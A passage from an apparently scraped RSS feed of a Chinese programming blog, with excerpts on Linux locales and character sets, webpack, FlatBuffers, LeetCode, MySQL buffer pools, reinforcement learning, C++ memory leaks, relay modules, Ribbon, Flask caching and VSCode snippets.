      <guid>https://bchobby.github.io/posts/0500887b45c26444af60352960cfbab8/</guid>
      <description>locale 是国际化与本土化过程当中的一个很是重要的概念，我的认为，对于中文用户来讲，一般会涉及到的国际化或者本土化，大体包含三个方面：看中文，写中文，与 window中文系统的兼容和通讯。从实际经验上看来，locale的设定与看中文关系不大，可是与写中文，及window分区的挂载方式有很密切的关 系。本人认为就像一个纯英文的Windows可以浏览中文，日文或者意大利文网页同样，你不须要设定locale就能够看中文。那么，为何要设定 locale呢？何时会用到locale呢？&#xA;Tags: locale 设定 缘由 解释&#xA;1、为何要设定locale 正如前面我所讲的，设定locale与你可否浏览中文的网页没有直接的关系，即使你把locale设置成 en_US.ISO-8859-1这样一个标准的英文locale你照样能够浏览中文的网页，只要你的系统里面有相应的字符集（这个都不必定须要）和合适 的字体（如simsun），浏览器就能够把网页翻译成中文给你看。具体的过程是网络把网页传送到你的机器上以后，浏览器会判断相应的编码的字符集，根据网 页采用的字符集，去字体库里面找合适的字体，而后由文字渲染工具把相应的文字在屏幕上显示出来。&#xA;在下文本人会偶尔把字符集比喻成密码本，我的以为对于一些东西比较容易理解，假如你不习惯的话，把全文copy到任何文本编辑器，用字符集替换密码本便可。&#xA;那有时候网页显示乱码或者都是方框是怎么回事呢？我的认为，显示乱码是由于设定的字符集不对(或者没有相应的字符集)，例如网页是用UTF-8编码的，你 非要用GB2312去看，而系统根据GB2312去找字体，而后在屏幕上显示，固然是一堆的乱码，也就是说你用一个错误的密码本去翻译发给你的电报，固然 内容那叫一个乱；至于有些时候浏览的网页能显示一部分汉字，但有不少的地方是方框，可以显示汉字说明浏览器已经正确的判断出了网页的编码，并在字体库里面 找到了相应的文字，可是并非每一个字体库都包含某个字符集所有的字体的缘故，有些时候会显示不彻底，找一个比较全的支持较多字符集的字体就能够了。&#xA;既然我可以浏览中文网页，那为何我还要设定locale呢？&#xA;其实你有没有想过这么一个问题，为何gentoo官方论坛上中文论坛的网页是用UTF-8编码的（虽然你们一直强烈建议用GB2312编码），可是新浪 网就是用GB2312编码的呢？而Xorg的官方网页居然是ISO-8859-15编码的，我没有设定这个locale怎么同样的能浏览呢？这个问题就像 是你有全部的密码本，不论某个网站是用什么字符集编码的，你均可以用你手里的密码本把他们翻译过来，但问题是虽然你能浏览中文网页，可是在整个操做系统里 面流动的仍是英文字符。因此，就像你能听懂英语，也能听懂中文。 最根本的问题是：你不能够写中文。&#xA;当你决定要写什么东西的时候，首先要决定的一件事情是用那种语言，对于计算机来讲就是你要是用哪种字符集，你就必须告诉你的linux系统，你想用那一 本密码本去写你想要写的东西。知道为何须要用GB2312字符集去浏览新浪了吧，由于新浪的网页是用GB2312写的。&#xA;为了让你的Linux可以输入中文，就须要把系统的locale设定成中文的(严格说来是locale中的语言类别LC_CTYPE )，例如 zh_CN.GB23十二、zh_CN.GB18030或者zh_CN.UTF-8。不少人都不明白这些古里古怪的表达方式。这个外星表达式规定了什么东 西呢？这个问题稍后详述，如今只须要知道，这是locale的表达方式就能够了。&#xA;2、到底什么是locale？ locale这个单词中文翻译成地区或者地域，其实这个单词包含的意义要宽泛不少。Locale是根据计算机用户所使用的语言，所在国家或者地区，以及当地的文化传统所定义的一个软件运行时的语言环境。&#xA;这个用户环境能够按照所涉及到的文化传统的各个方面分红几个大类，一般包括用户所使用的语言符号及其分类(LC_CTYPE)，数字 (LC_NUMERIC)，比较和排序习惯(LC_COLLATE)，时间显示格式(LC_TIME)，货币单位(LC_MONETARY)，信息主要是 提示信息,错误信息, 状态信息, 标题, 标签, 按钮和菜单等(LC_MESSAGES)，姓名书写方式(LC_NAME)，地址书写方式 (LC_ADDRESS)，电话号码书写方式 (LC_TELEPHONE)，度量衡表达方式(LC_MEASUREMENT)，默认纸张尺寸大小 (LC_PAPER)和locale对自身包含信息的概述(LC_IDENTIFICATION)。&#xA;因此说，locale就是某一个地域内的人们的语言习惯和文化传统和生活习惯。一个地区的locale就是根据这几大类的习惯定义的，这些 locale定义文件放在/usr/share/i18n/locales目录下面，例如en_US, zh_CN and de_DE@euro都是 locale的定义文件，这些文件都是用文本格式书写的，你能够用写字板打开，看看里边的内容，固然出了有限的注释之外，大部分东西可能你都看不懂，由于 是用的Unicode的字符索引方式。&#xA;对于de_DE@euro的一点说明，@后边是修正项，也就是说你能够看到两个德国的locale： /usr/share/i18n/locales/de_DE@euro /usr/share/i18n/locales/de_DE 打开这两个 locale定义，你就会知道它们的差异在于de_DE@euro使用的是欧洲的排序、比较和缩进习惯，而de_DE用的是德国的标准习惯。&#xA;上面咱们说到了zh_CN.GB18030的前半部分，后半部分是什么呢？大部分Linux用户都知道是系统采用的字符集。&#xA;3、什么是字符集？ 字符集就是字符，尤为是非英语字符在系统内的编码方式，也就是一般所说的内码，全部的字符集都放在 /usr/share/i18n/charmaps，全部的字符集也都是用Unicode编号索引的。Unicode用统一的编号来索引目前已知的所有的 符号。而字符集则是这些符号的编码方式，或者说是在网络传输，计算机内部通讯的时候，对于不一样字符的表达方式，Unicode是一个静态的概念，字符集是 一个动态的概念，是每个字符传递或传输的具体形式。就像 Unicode编号U59D0是表明姐姐的“姐”字，可是具体的这个字是用两个字节表示，三个字节，仍是四个字节表示，是字符集的问题。例如：UTF-8 字符集就是目前流行的对字符的编码方式，UTF-8用一个字节表示经常使用的拉丁字母，用两个字节表示经常使用的符号，包括经常使用的中文字符，用三个表示不经常使用的字 符，用四个字节表示其余的古灵精怪的字符。而GB2312字符集就是用两个字节表示全部的字符。须要提到一点的是Unicode除了用编号索引所有字符以 外，自己是用四个字节存储所有字符，这一点在谈到挂载windows分区的时候是很是重要的一个概念。因此说你也能够把Unicode看做是一种字符集 （我不知道它和UTF-32的关系，反正UTF-32就是用四个字节表示全部的字符的），可是这样表述符号是很是浪费资源的，由于在计算机世界绝大部分时 候用到的是一个字节就能够搞定的 26个字母而已。因此才会有UTF-8，UTF-16等等，要否则大同世界多好，省了这许多麻烦。</description>
    </item>
    <item>
      <title>webpack基本配置</title>
      <link>https://bchobby.github.io/posts/a3a3c47c2b2c279a81db24b5e59e56cf/</link>
      <pubDate>Sun, 17 Dec 2023 01:37:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3a3c47c2b2c279a81db24b5e59e56cf/</guid>
      <description>const path = require(&#39;path&#39;); const os = require(&#39;os&#39;); const ESLintPlugin = require(&#39;eslint-webpack-plugin&#39;); const HtmlWebpackPlugin = require(&#39;html-webpack-plugin&#39;); const MiniCssExtractPlugin = require(&#39;mini-css-extract-plugin&#39;); const CssMinimizerPlugin = require(&#39;css-minimizer-webpack-plugin&#39;); const TerserWbpackPlugin = require(&#39;terser-webpack-plugin&#39;); const ImageMinimizerPlugin = require(&#39;image-minimizer-webpack-plugin&#39;); const WorkboxPlugin = require(&#39;workbox-webpack-plugin&#39;); const threads = os.cpus().length; // cpu核数 // 封装样式loader函数，获取处理样式的loader function getStyleLoader(pre) { return [ MiniCssExtractPlugin.loader, // 提取css成单独的文件 &#39;css-loader&#39;, // 将css资源编译成commonjs的模块到js中 { loader: &#39;postcss-loader&#39;, options: { postcssOptions: { plugins: [ &#39;postcss-preset-env&#39; // 能解决大多数样式兼容问题 ] } } }, pre ].</description>
    </item>
    <item>
      <title>flatbuffer使用教程</title>
      <link>https://bchobby.github.io/posts/c7be2abaa26ee443ffba8ddde1125df0/</link>
      <pubDate>Sat, 16 Dec 2023 21:35:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7be2abaa26ee443ffba8ddde1125df0/</guid>
      <description>一、定义scheme Tables FlatBuffers 中定义对象的主要方式，由名称和字段列表组成。每个字段都有一个名称、一个类型和一个可选的默认值。&#xA;如果架构中未指定默认值，则标量类型的默认值将为 0 ，其他类型的默认值将为 null 。&#xA;限制 只能在表定义的末尾在架构中添加新字段，如果您希望灵活地在架构中使用任何顺序的字段，您可以手动分配 id。无法从架构中删除不再使用的字段，但您可以简单地停止将它们写入数据中以获得几乎相同的效果。此外，您可以将它们标记为 deprecated如果您可以更改代码，则可以更改字段名称和表名称，直到您也在那里重命名它们为止。 Structs 与表类似，只是现在没有任何字段是可选的（因此也没有默认值），并且不能添加或弃用字段。结构体只能包含标量或其他结构体。将此用于您非常确定不会进行任何更改的简单对象。&#xA;结构比表使用更少的内存，并且访问速度更快&#xA;Types 内置类型&#xA;8 bit: byte (int8), ubyte (uint8), bool16 bit: short (int16), ushort (uint16)32 bit: int (int32), uint (uint32), float (float32)64 bit: long (int64), ulong (uint64), double (float64)&#xA;其中括号中的类型名称是别名 内置非标量类型：&#xA;[type]&#xA;string 只能保存 UTF-8 或 7 位 ASCII。对于其他文本编码或一般二进制数据，请使用向量 [byte]&#xA;一旦使用字段，您就无法更改它们的类型，但相同大小的数据除外&#xA;Array 数组是固定长度元素集合的便捷简写。&#xA;比如说： struct Vec3 { x:float; y:float; z:float; } 可以替换为： struct Vec3 { v:[float:3]; } 默认值、可选值和必需值 枚举 定义一系列命名常量，每个常量都有一个给定值，或者比前一个值增加 1。默认的第一个值为 0 。</description>
    </item>
    <item>
      <title>LeetCode：2276. 统计区间中的整数数目（TreeMap Java）</title>
      <link>https://bchobby.github.io/posts/8973bdcf4677d7e2b65b708db243f0d3/</link>
      <pubDate>Sat, 16 Dec 2023 21:25:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8973bdcf4677d7e2b65b708db243f0d3/</guid>
      <description>目录&#xA;2276. 统计区间中的整数数目&#xA;题目描述：&#xA;实现代码与解析：&#xA;TreeMap&#xA;原理思路：&#xA;2276. 统计区间中的整数数目 题目描述： 给你区间的 空 集，请你设计并实现满足要求的数据结构：&#xA;新增：添加一个区间到这个区间集合中。统计：计算出现在 至少一个 区间中的整数个数。 实现 CountIntervals 类：&#xA;CountIntervals() 使用区间的空集初始化对象void add(int left, int right) 添加区间 [left, right] 到区间集合之中。int count() 返回出现在 至少一个 区间中的整数个数。 注意：区间 [left, right] 表示满足 left &amp;lt;= x &amp;lt;= right 的所有整数 x 。&#xA;示例 1：&#xA;输入 [&#34;CountIntervals&#34;, &#34;add&#34;, &#34;add&#34;, &#34;count&#34;, &#34;add&#34;, &#34;count&#34;] [[], [2, 3], [7, 10], [], [5, 8], []] 输出 [null, null, null, 6, null, 8] 解释 CountIntervals countIntervals = new CountIntervals(); // 用一个区间空集初始化对象 countIntervals.</description>
    </item>
    <item>
      <title>SQL进阶理论篇（八）：SQL查询的IO成本</title>
      <link>https://bchobby.github.io/posts/e1d392c8a49de6bbd1e7ee0f19d5ed35/</link>
      <pubDate>Sat, 16 Dec 2023 20:40:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1d392c8a49de6bbd1e7ee0f19d5ed35/</guid>
      <description>文章目录 简介数据库缓冲池查看缓冲池的大小数据页加载的三种方式通过 last_query_cost 统计 SQL 语句的查询成本总结参考文献 简介 本节将介绍磁盘IO是如何加载数据的，重点介绍一下数据库缓冲池的概念。主要包括：&#xA;什么是数据库缓冲池，它在数据库中扮演了什么角色？对数据页进行加载的几种方式如何统计一条SQL语句中，需要在缓冲池中进行加载的页的数量。 数据库缓冲池 为了能够让数据表或者索引中的数据随时为我们所用，DBMS会申请一块内存来作为数据缓冲池。&#xA;数据缓冲池里会保存经常使用的数据，这样的话，当数据库进行页面读的时候，会首先来寻找该页面是否在缓冲池里，如果存在就直接读取，如果不存在，就会通过磁盘或者内存，将页面放进缓冲池里再进行读取。&#xA;缓冲池在数据库中的结构和作用如下图：&#xA;如果我们执行了类似update语句，改变了缓冲池里的数据，那么这些数据会立即同步到磁盘上吗？&#xA;当然不是。&#xA;实际上，当我们修改数据库中的记录时，首先会修改缓冲池中页的记录信息，然后数据库会以一定的频率将新的数据刷新回磁盘。所以不是每次发生更新操作 ，都会立即回写的。&#xA;比如说，当缓冲池空间不够用的时候，就需要释放掉一些不常用的页，这时候就会强行将这些页的数据回写到磁盘，然后在缓冲池里将这些页释放掉。&#xA;这里面有一个脏页（dirty Page）的概念，是指在缓冲池里被修改过，尚未回写，因此与磁盘上不同的数据页。&#xA;查看缓冲池的大小 如果使用的是MySQL的MyISAM引擎，其只缓存索引，不缓存数据，对应的键缓存参数为key_buffer_size，可以通过查看这个变量来查看缓冲池大小。&#xA;如果使用的是InnoDB引擎，则可以通过以下命令查看：&#xA;mysql &amp;gt; show variables like &#39;innodb_buffer_pool_size&#39; 单位是B，转换成MB就是8MB。&#xA;如果想修改缓冲池大小为128MB，则可以通过：&#xA;set global innodb_buffer_pool_size = 134217728; 在InnoDB中，我们还可以同时开启多个缓冲池。&#xA;可以通过以下命令查看当前缓冲池的数量：&#xA;mysql &amp;gt; show variables like &#39;innodb_buffer_pool_instances&#39; 默认情况下，其实是会有8个缓冲池，但是如果你的innodb_buffer_pool_size参数小于1G，那刚才的命令只会显示出1个缓冲池。&#xA;数据页加载的三种方式 如果缓冲池中没有我们想要的数据页，那么缓冲池有三种方式，可以将指定数据页加载进缓冲池，每种方式的读取效率会有不同。&#xA;内存读取 如果该数据页是在内存里，那么直接读进缓冲池，效率还是很高的。&#xA;随机读取 如果数据没有在内存里，那就是在磁盘里，因此我们需要在磁盘上对该页进行查找，假设整体时间是10ms，这 10ms 中有 6ms 是磁盘的实际繁忙时间（包括了寻道和半圈旋转时间），有 3ms 是对可能发生的排队时间的估计值，另外还有 1ms 的传输时间，将页从磁盘服务器缓冲区传输到数据库缓冲区中。&#xA;以上过程结束之后，我们才算完成了一页的读取，多页读取的话，时间会继续拉长。&#xA;顺序读取 顺序读取其实是一种批量读取的方式，因为我们请求的数据在磁盘上往往都是相邻存储的，顺序读取可以帮我们批量读取页面，这样的话，一次性加载到缓冲池中就不需要再对其他页面单独进行磁盘 I/O 操作了。&#xA;采用批量读取的方式，即使是从磁盘上进行读取，平均一页的读取效率也比从内存中单独读取一个页的效率要高。&#xA;通过 last_query_cost 统计 SQL 语句的查询成本 如果我们想要查看某条 SQL 语句的查询成本，可以在执行完这条 SQL 语句之后，通过查看当前会话中的 last_query_cost 变量值来得到当前查询的成本。这个查询成本对应的是 SQL 语句所需要读取的页的数量。</description>
    </item>
    <item>
      <title>强化学习（四）- Advantage Actor-Critic 及贝尔曼方程推导（A2C）</title>
      <link>https://bchobby.github.io/posts/dd891dc33865e3d24d328baf233ae865/</link>
      <pubDate>Sat, 16 Dec 2023 18:55:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd891dc33865e3d24d328baf233ae865/</guid>
      <description>0 概览 Advantage Actor-Critic 主要在于Q函数的计算，其中baseline b选择为状态价值函数，使用神经网络代替 V π ( s , w ) V_\pi (s,w) Vπ​(s,w)Q函数使用贝尔曼方程来近似 Q π ( s , A ) = r t + γ V π ( s t + 1 ) Q_\pi(s,A)=r_t+\gamma V_\pi(s_{t+1}) Qπ​(s,A)=rt​+γVπ​(st+1​)其中Advantage 体现在 Q π ( s , A ) − V π ( s t ) Q_\pi(s,A)-V_\pi(s_t) Qπ​(s,A)−Vπ​(st​)上贝尔曼方程：&#xA;Q π ( s t , a t ) = E S t + 1 [ R t + γ ∗ V π ( S t + 1 ) ] Q_\pi(s_t,a_t)=E_{S_{t+1}}[R_t+\gamma *V_\pi(S_{t+1})] Qπ​(st​,at​)=ESt+1​​[Rt​+γ∗Vπ​(St+1​)]</description>
    </item>
    <item>
      <title>常见内存泄漏场景与解决方案</title>
      <link>https://bchobby.github.io/posts/7c9555fe9bc8e6e3155626d31df6be23/</link>
      <pubDate>Sat, 16 Dec 2023 18:51:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c9555fe9bc8e6e3155626d31df6be23/</guid>
      <description>服务器开发文章目录 文章目录 服务器开发文章目录前言一、内存泄漏是什么？二、常见内存泄漏场景三、内存泄漏规避与定位总结 前言 作为C/C++程序员，谁还不写Bug，Bug中最常见要数内存泄漏、内存崩溃、死锁等问题，本文主要讲解内存泄漏问题，其具有其独有的属性，比如说：隐蔽性强、难以排查、占用资源不断累积等特点，当到达一定程度会出现崩溃、被系统kill掉等……&#xA;一、内存泄漏是什么？ 内存泄漏（Memory Leak）是指程序中已动态分配的堆内存由于某种原因程序未释放或无法释放，造成系统内存的浪费，导致程序运行速度减慢甚至系统崩溃等严重后果。&#xA;二、常见内存泄漏场景 场景1：new/malloc与delete/malloc没有成对出现&#xA;void callfun(char *p) { std::cout&amp;lt;&amp;lt; p&amp;lt;&amp;lt;std::endl; } void fun() { char *p = new char[128]; return callfun(p); } 场景2：new/malloc 提前返回&#xA;void fun(std::string request) { char *p = new char[128]; if(request.length()== 0){ return; } delete []p; return; } 场景3：基类被继承时，虚构函数没有被定义为virtual&#xA;class A { public: A(){} ~A(){} //未定义virutal }; class B:public A { public: B(){ p = new char[128]; } ~B(){ if(p) delete [] p; p = nullptr; } private: char *p = nullptr; }; int main() { A* inst = new B; .</description>
    </item>
    <item>
      <title>继电器模块的使用（超详细）</title>
      <link>https://bchobby.github.io/posts/20df5df71ffda7e2a40fbd452115954b/</link>
      <pubDate>Sat, 16 Dec 2023 17:52:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20df5df71ffda7e2a40fbd452115954b/</guid>
      <description>继电器模块的工作原理 继电器（Relay）是一种电控开关，其工作原理基于电磁感应。继电器通常包括一个电磁线圈和一组触点。&#xA;以下是继电器模块的基本工作原理：&#xA;电磁线圈： 继电器内部包含一个电磁线圈，通常由绕制在绝缘芯片上的细导线组成。当通过线圈通电时，产生电磁场。&#xA;磁性吸引： 电磁场会使继电器中的铁芯（或磁性材料）受到磁性吸引，导致铁芯在电磁力的作用下移动。&#xA;触点操作： 铁芯的移动会导致机械部分的运动，最终使触点（开关）发生动作。继电器通常有常开（Normally Open，NO）和常闭（Normally Closed，NC）两组触点。&#xA;常开触点： 在继电器未通电时处于闭合状态，当电磁线圈通电时，触点打开。&#xA;常闭触点： 在继电器未通电时处于打开状态，当电磁线圈通电时，触点闭合。&#xA;电气隔离： 继电器的主要作用之一是提供电气隔离。通过电磁原理，可以在控制信号与被控制电路之间提供隔离，从而使得不同电路之间的电流不会相互影响。&#xA;继电器模块常用于控制高电流或高电压的电路，例如在自动控制系统、电力系统和自动化设备中。由于其可靠性和电气隔离的特性，继电器在各种应用中都有广泛的用途。&#xA;电路图 继电器模块引脚说明 不管继电器模块是否一样，或封装不同。大概的引脚图如下所示：&#xA;VCC（+）： 供电正极。连接此引脚到电源（通常是直流电源），以提供继电器线圈所需的电流。&#xA;GND（-）： 地。连接此引脚到电源的负极或地。&#xA;IN（或者类似标记）： 控制输入。通常用于连接控制信号，当该信号变化时，继电器将切换状态。&#xA;NC（Normally Closed）： 常闭接口，继电器吸合前与COM连接，吸合后悬空&#xA;COM（Common）： 公共端，通常是中间的触点，与常开或常闭触点相连。&#xA;NO（Normally Open）： 常开接口，继电器吸合前悬空，吸合后与COM连接&#xA;开路即通路、断路，闭合指的是开关闭合，也就是说，在没有任何上电之类的动作时，NC和COM端相当于已经连通&#xA;继电器模块的使用 在一般情况下NC是闭合的，所以我们要接到NO接口，然后信号输入引脚即IN引脚给高电平，NC端断，NO端合，负载端电路形成闭合回路，开始工作，当IN端给低电平时，NO端断，负载即停止工作。&#xA;如果想一直工作，给信号停止工作，即把线接在NC端就行了。&#xA;（切记：继电器的GND要和单片机的GND接在一起共地，也可以使用同一个电源来达到共地的效果）</description>
    </item>
    <item>
      <title>Ribbon使用</title>
      <link>https://bchobby.github.io/posts/28d8cf1371b234036f665e366629b24b/</link>
      <pubDate>Sat, 16 Dec 2023 17:29:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28d8cf1371b234036f665e366629b24b/</guid>
      <description>Ribbon ：处理客户端负载均衡和容错的解决方案&#xA;配置Ribbon的负载均衡&#xA;Rule接口： 定义客户端负载均衡的规则&#xA;RandomRule :随机选择RoundRobinRuleZoneAvoidanceRule 配置ribbon的负载均衡策略 在配置文件中配置 user-center: ribbon: NFLoadBalancerRuleClassName: com.netflix.loadbalancer.RandomRule 在java代码中配置 /** * * 不同的服务使用不同的ribbon策略 * @RibbonClient : 表示这个配置是为xxx服务的 * */ //@Configuration //@RibbonClient(name = &#34;user-center&#34;,configuration = RibbonConfiguration.class) // 全局服务设置 @RibbonClients(defaultConfiguration = RibbonConfiguration.class) public class UserCenterRibbonConfiguration { } 如果是为某个微服务单独配置负载均衡策略 @RibbonClient 指定配置文件的位置，，，这个配置文件不能被springboot扫描到，，父子上下文环境，，就像spring和springmvc的环境，，不能重叠，，如果重叠，相当于会变成全局的配置&#xA;Ribbon的配置文件&#xA;@Configuration public class RibbonConfiguration { @Bean public IRule ribbonRule(){ // 负载均衡策略为随机 // return new RandomRule(); // 根据权重 这个类是自己写的根据权重判断 return new NacosWeightedRule(); } /** * 配置 ping的规则 * @return */ @Bean public IPing ping(){ return new PingUrl(); } } 写自己的负载均衡算法：</description>
    </item>
    <item>
      <title>【迁移学习论文四】Multi-Adversarial Domain Adaptation论文原理及复现工作</title>
      <link>https://bchobby.github.io/posts/9373acc22543e94a960e674ba8392c4d/</link>
      <pubDate>Sat, 16 Dec 2023 16:26:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9373acc22543e94a960e674ba8392c4d/</guid>
      <description>Multi-Adversarial Domain Adaptation 多对抗域适应 前言 好久没有更新了，所以这周开始记录下来，也好督促自己。记录本人预备研究生阶段相关迁移学习论文的原理阐述以及复现工作。 问题 跨域混淆或错误对齐&#xA;文章介绍 这篇文章于2018年发表在AAAI，作者是清华大学龙明盛老师的学生。作者提到，域适应存在两个技术挑战:&#xA;通过最大限度地匹配跨域数据分布的多模式结构来增强正迁移;通过防止跨域分布中模式的错误对齐来减轻负迁移。 在这些挑战的激励下，作者提出一种多对抗域自适应(MADA)方法，它捕获多模式结构，以支持基于多个域鉴别器的不同数据分布的细粒度对齐。与以前的方法相比，一个关键的改进是能够同时促进相关数据的正迁移和减轻不相关数据的负迁移。利用线性时间内的反向传播计算梯度，通过随机梯度下降实现自适应。&#xA;模型结构 标签分类器 从图中可以看到，源域样本首先经过 G f G_f Gf​层提取到相关特征，然后送入标签分类器 G y G_y Gy​得到分类标签然后使用交叉熵损失计算分类损失。标签分类器几乎是所有模型必备的一项。这里不过多赘述。 局部域分类器 我们可以看到上面的蓝色线条，这就是局部域分类器。&#xA;首先 G f G_f Gf​提取到目标域和源域的特征，然后经过GRL后送入局部域分类器。这里产生一个问题，目标域样本的标签我们是不知道的，只知道源域数据标签，那我们如何知道哪个样本应该送入哪个局部域分类器呢？让经过GRL之后的特征再与各个类别的标签分类概率相乘，然后送入相应类别的局部域分类器，在这个类别的分类概率越高就意味着这个局部域分类器对你的关注度就应该越高。 对抗学习过程是一个双人博弈&#xA;第一个参与者是经过训练的域鉴别器 G d G_d Gd​，用于区分源域和目标域第二个参与者是同时经过微调的特征提取器 G f G_f Gf​，用于混淆域鉴别器 损失函数 优点 本文提出的多对抗域自适应网络实现了细粒度自适应，每个数据点 x i x_i xi​仅由相关的域鉴别器根据其概率 y i y_i yi​进行匹配。这种细粒度的适应可能带来三个好处。&#xA;避免了将每个点只分配给一个域鉴别器的困难，避免了对目标域数据的不准确。避免了负迁移，因为每个点只对齐到最相关的类，而不相关的类被概率过滤掉，不会包含在相应的域判别器中，从而避免了不同分布中判别结构的错误对齐。用概率加权数据点训练多域鉴别器，自然学习到具有不同参数的多个域鉴别器;这些域具有不同参数的鉴别器促进每个实例的正迁移。 代码 # 前向传播方法 def forward(self, x): # 计算 lambda（lbda） lbda = self.get_lambda_p(self.get_p()) if self.mode == &#39;Train&#39; else 0 # 提取特征 features = self.</description>
    </item>
    <item>
      <title>【k8s】Helm官方文档链接</title>
      <link>https://bchobby.github.io/posts/d51ae533bd430cbe488eeb4a988076a6/</link>
      <pubDate>Sat, 16 Dec 2023 15:51:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d51ae533bd430cbe488eeb4a988076a6/</guid>
      <description>https://helm.sh/zh/docs/chart_template_guide/getting_started/</description>
    </item>
    <item>
      <title>Flask学习四：补充</title>
      <link>https://bchobby.github.io/posts/43d0925a28913d96978747c1b6009d60/</link>
      <pubDate>Sat, 16 Dec 2023 15:44:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43d0925a28913d96978747c1b6009d60/</guid>
      <description>插件 flask-caching 简介&#xA;Flask-Caching 是一个 Flask 扩展，旨在为 Flask 应用程序添加缓存功能。缓存是一种提高应用性能的技术，通过将常用数据暂时存储在一个快速访问的位置（如内存或磁盘），从而减少对较慢资源（如数据库或网络服务）的重复访问。&#xA;Flask-Caching 提供了一种简单的方式来缓存视图函数的结果或者任何可调用对象的结果，并且支持多种缓存后端，包括内存缓存（如 SimpleCache）、文件系统缓存、Memcached 缓存以及 Redis 缓存等。这意味着开发者可以根据应用程序的需求和基础设施选择最适合的缓存方式。&#xA;通过 Flask-Caching，开发人员可以轻松实现诸如页面缓存、模板片段缓存、函数结果缓存等功能。此外，它还提供了灵活的配置选项，以便根据业务需求调整缓存行为，如设置过期时间、使用不同的缓存策略等。&#xA;使用&#xA;安装&#xA;pip install flask-caching 初始化&#xA;from flask_caching import Cache # 缓存 cache= Cache(config={ &#39;CACHE_TYPE&#39;: &#39;simple&#39;, &#39;CACHE_DEFAULT_TIMEOUT&#39;: 3600 ,# 设置过期时间为1小时，过期后会被自动删除 }) # 缓存 cache.init_app(app=app) # 绑定缓存 使用&#xA;在视图函数上添加缓存&#xA;@cache.cached(timeout=60) # 1分钟后过期 @userManageBlue.route(&#39;/user-manage/&#39;) def index(): 使用场景&#xA;频繁访问的数据库查询结果：如果某个视图函数执行了复杂的数据库查询操作，并且这个查询结果在短时间内不会发生变化，那么可以使用Flask-Caching来缓存查询结果，避免每次请求都执行这个查询操作，提高响应速度。&#xA;渲染的页面内容：如果某个页面的内容不经常变化，并且需要花费较长时间来生成，那么可以使用Flask-Caching来缓存页面内容。这样，当多个用户请求同一个页面时，可以直接返回缓存的页面内容，减少服务器的负载和响应时间。&#xA;钩子函数（中间件） 钩子函数的使用&#xA;钩子函数是指在执行函数或者目标函数之间挂载的函数，框架开发者给调用方法提供一个point-挂载点，是一种AOP切面编程思想&#xA;常见的钩子函数有：&#xA;before_first_request：处理第一次请求时执行before_request：在每次请求之前执行，通常使用这个钩子函数预处理一些变量，实现反爬虫after_request：注册一个函数，如果没有未处理的异常抛出，在每次请求之后运行teardown_appcontext：当app上下文被移除后执行的函数，可以进行数据库的提交或者回滚 示例：反爬虫策略&#xA;# 相同ip地址1秒内不允许重复访问 key = request.remote_addr + &#34;before&#34; valeu = cache.</description>
    </item>
    <item>
      <title>VSCode配置代码片段，提升效率必备！</title>
      <link>https://bchobby.github.io/posts/906216748c8c27ea01081e1c1e094400/</link>
      <pubDate>Sat, 16 Dec 2023 09:54:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/906216748c8c27ea01081e1c1e094400/</guid>
      <description>1.点击文件—&amp;gt; 首选项------&amp;gt;配置用户代码片段&#xA;2、新建用户代码片段&#xA;3、以js的控制台输出为例&#xA;{ //片段名称 &#34;console.log&#34;: { &#34;prefix&#34;: &#34;cls&#34;,//呼出命令 &#34;body&#34;: [ &#34;console.log(&#39;$1&#39;)&#34;//具体片段 ], &#34;description&#34;: &#34;console.log&#34;//描述 } } 其他命令一样&#xA;4、一个生成模板的网站&#xA;自己写，容易出错，可以生成：在线生成</description>
    </item>
    <item>
      <title>LeetCode：2415. 反转二叉树的奇数层（层次遍历 Java)</title>
      <link>https://bchobby.github.io/posts/2918656c4d64c85de6655b401ba12475/</link>
      <pubDate>Fri, 15 Dec 2023 23:16:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2918656c4d64c85de6655b401ba12475/</guid>
      <description>目录&#xA;2415. 反转二叉树的奇数层&#xA;题目描述：&#xA;实现代码与解析：&#xA;BFS&#xA;原理思路：&#xA;2415. 反转二叉树的奇数层 题目描述： 给你一棵 完美 二叉树的根节点 root ，请你反转这棵树中每个 奇数 层的节点值。&#xA;例如，假设第 3 层的节点值是 [2,1,3,4,7,11,29,18] ，那么反转后它应该变成 [18,29,11,7,4,3,1,2] 。 反转后，返回树的根节点。&#xA;完美 二叉树需满足：二叉树的所有父节点都有两个子节点，且所有叶子节点都在同一层。&#xA;节点的 层数 等于该节点到根节点之间的边数。&#xA;示例 1：&#xA;输入：root = [2,3,5,8,13,21,34] 输出：[2,5,3,8,13,21,34] 解释： 这棵树只有一个奇数层。 在第 1 层的节点分别是 3、5 ，反转后为 5、3 。 示例 2：&#xA;输入：root = [7,13,11] 输出：[7,11,13] 解释： 在第 1 层的节点分别是 13、11 ，反转后为 11、13 。 示例 3：&#xA;输入：root = [0,1,2,0,0,0,0,1,1,1,1,2,2,2,2] 输出：[0,2,1,0,0,0,0,2,2,2,2,1,1,1,1] 解释：奇数层由非零值组成。 在第 1 层的节点分别是 1、2 ，反转后为 2、1 。 在第 3 层的节点分别是 1、1、1、1、2、2、2、2 ，反转后为 2、2、2、2、1、1、1、1 。 提示：</description>
    </item>
    <item>
      <title>springcloudalibaba01</title>
      <link>https://bchobby.github.io/posts/ac28c3bd8b8dbeac494a6aed5386ec93/</link>
      <pubDate>Fri, 15 Dec 2023 21:30:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac28c3bd8b8dbeac494a6aed5386ec93/</guid>
